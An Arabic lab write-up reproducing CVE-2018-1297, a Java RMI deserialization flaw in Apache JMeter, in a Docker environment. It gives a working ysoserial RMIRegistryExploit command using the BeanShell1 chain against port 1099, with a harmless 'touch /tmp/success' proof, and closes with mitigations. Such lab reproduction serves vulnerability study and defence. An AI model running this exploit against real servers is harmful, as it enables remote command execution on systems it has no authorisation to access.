ثغرة تنفيذ الأوامر عبر إلغاء تسلسل RMI في JMeter (CVE-2018-1297)
Apache JMeter هي مجموعة برامج مفتوحة المصدر مكتوبة بلغة Java من قبل مؤسسة Apache Software Foundation الأمريكية لاختبار الضغط واختبار الأداء.
توجد ثغرة إلغاء تسلسل في الإصدارات 2.x و 3.x، ويمكن للمهاجم استغلالها لتنفيذ أوامر عشوائية على الخادم الهدف.
تشغيل بيئة الثغرة:
لقد استخدمت Docker على Kali Linux.
عند اكتمال التشغيل، تبدأ خدمة RMI وتستمع على المنفذ 1099.
الثغرة:
استخدم ysoserial مباشرة لتنفيذ هجوم الثغرة.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success'
أدخل الأمر أعلاه.
تم استخدام سلسلة الاستغلال BeanShell1.
docker compose exec jmeter bash
استخدم هذا الأمر للدخول إلى الحاوية، وستلاحظ أنه تم إنشاء '/tmp/success' بنجاح.

الملخص
تستغل هذه الثغرة ثغرة RMI (استدعاء الطريقة عن بعد) التي يمكن أن تحدث في التطبيقات القائمة على Java.
'ysoserial-0.0.6-SNAPSHOT-all.jar' المستخدم هنا هو جزء من مشروع ysoserial، ويستخدم لإنشاء حمولات تستغل ثغرات إلغاء التسلسل في Java للسماح بتنفيذ التعليمات البرمجية عن بعد.
تهدف هذه الحمولة إلى تنفيذ أوامر مثل touch /tmp/success، ومن خلال هذه الثغرة، يمكن للمهاجم تنفيذ أوامر عشوائية على النظام البعيد أو تعديل ملفات النظام.
تشمل إجراءات منع هذه الثغرة تقييد الوصول إلى خدمة RMI، والتحكم الصارم في الأذونات، وتصفية إلغاء التسلسل في Java.